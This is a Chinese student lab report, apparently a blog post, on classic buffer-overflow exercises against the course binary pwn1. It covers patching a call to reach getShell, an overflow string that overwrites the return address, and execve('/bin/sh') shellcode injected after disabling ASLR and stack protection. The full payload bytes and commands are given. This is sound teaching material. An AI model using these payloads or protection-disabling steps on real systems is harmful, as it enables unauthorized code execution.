20231913 2023-2024-2 《网络攻防实践》实践九报告

20231913 2023-2024-2 《网络攻防实践》实践九报告

1.实践过程

1.1手工修改可执行文件

首先将 kali 虚拟机名称改为 zhouchuang
(下面的几张图片主机名还是kali,是因为当时不知道hostname是临时改名,需要重新打开一个终端才可以显示,后面问题和参考资料里有解释,学会时想重新做一遍发现重复命令已经不能生效了。在1.2开始主机名改了过来)
在这里插入图片描述
学习通文件pwn1文件拖到kali里面
在这里插入图片描述

输入 objdump -d pwn1 | more ,对pwn1文件进行反汇编
在这里插入图片描述
有getShell、foo和main函数
在这里插入图片描述
main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff
80484ba + d7 ff ff ff = 08048491
要直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址即可
804847d - 80484ba = c3 ff ff ff
可得要修改的机器指令为:e8 c3 ff ff ff
在这里插入图片描述
输入 cp pwn1 pwn20231913 对pwn1文件进行保护
输入 vi pwn20231913 对 pwn20231913文件进行修改
在这里插入图片描述
乱码

在这里插入图片描述
乱码不好修改
输入 :%!xxd 将其变为16进制
在这里插入图片描述
将d7ffffff改为c3ffffff
在这里插入图片描述
输入 :%!xxd -r 还原原始格式保存退出。
在这里插入图片描述
输入 objdump -d pwn20231906 | more 验证已成功修改
在这里插入图片描述
重新运行一下pwn1文件和pwn20231913
在这里插入图片描述
显示攻击成功
在这里插入图片描述

1.2构造输入字符串

输入 objdump -d pwn1 | more 查看pwn1文件
在这里插入图片描述
有函数 getShell、foo、main
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
安装gdb
在这里插入图片描述
输入 gdb pwn1 对文件pwn1进行调试
在这里插入图片描述输入r运行
输入1111111122222222333333334444444455555555 ,可以看到eip的值0x35353535 也就是 5555 的 ASCII码
在这里插入图片描述

输入长字符串1111111122222222333333334444444412345678,看到1234将覆盖到堆栈上的返回地址
在这里插入图片描述
确认getShell的内存地址为0804847d
在这里插入图片描述
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231913
输入命令 xxd 20231913 查看文件的内容是否如预期
在这里插入图片描述
输入 (cat 20231906; cat) | ./pwn1,将20231913的输入作为pwn1的输入
攻击成功
(这里的20221913是因为之前输错了,重新输入了一遍命令,导致输入了两个学号)
在这里插入图片描述

1.3注入shellcode并运行

安装execstack
在这里插入图片描述
输入 execstack -s pwn1 设置堆栈可执行
输入 execstack -q pwn1 查询文件的堆栈是否可执行
在这里插入图片描述
输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化
在这里插入图片描述
使用输出重定向将perl生成的字符串存储到文件中:
perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20231906
在这里插入图片描述
输入 (cat input_20221905;cat) | ./pwn1 注入攻击buf
在这里插入图片描述
重新打开一个终端,输入ps -ef | grep pwn1 查看pwn1的进程号
从图中可以看出进程号为 131810
在新的终端输入 gdb pwn1
输入 attach 131810 查看pwn1进程
然后输入 disassemble foo
在这里插入图片描述
输入 break *0x080484ae 在 0x080484ae 处设置断点
在这里插入图片描述
返回第一个终端按下回车
在第二个终端输入 c 继续运行
输入 info r esp 查看栈顶指针所在的位置为 0xffffd3ac

在这里插入图片描述
输入x/16x 0xffffd3ac
发现 0xffffd3ac 中有值 01020304
在这里插入图片描述
输入perl -e ‘print “A” x 32;print “\x10\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20221905 重新构造 input_20231913文件
最后输入 (cat input_20221905;cat) | ./pwn1
可以看到攻击成功
在这里插入图片描述

2.学习中遇到的问题及解决

  • 问题1:无法安装xxd

  • 在这里插入图片描述
    在这里插入图片描述

  • 问题1解决方案:进入直接的快照更新了源后才成功安装

  • 在这里插入图片描述

  • 问题2:修改主机名后发现名称还是kali

  • 问题2解决方案:百度后发现原来hostname只是临时修改,需要再打开一个终端才能显示新的主机名

  • 问题3:换源时出现无法退出的问题

  • 问题3解决方案:百度解决 强制退出并信任(见参考资料附的网址)
    在这里插入图片描述

  • 问题4:安装不了execstack

  • 在这里插入图片描述

  • 问题4解决方案:在上届学长的报告中看到了相似问题,换源后解决(见参考资料)

3.实践总结

在本次实验中我对缓冲区溢出的原理有了非常直观的认识,以及对其的攻击方式我进行了实操掌握,对vim编辑更加熟练,了解了gbd、execstack等工具的运用。更重要的是,在实验过程中我遇到很多问题,比如安装不了工具、某一步一直提示错误等等,我都经过不懈努力解决了问题,虽然消耗了很多时间,但在成功之后会觉得很有意义。

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值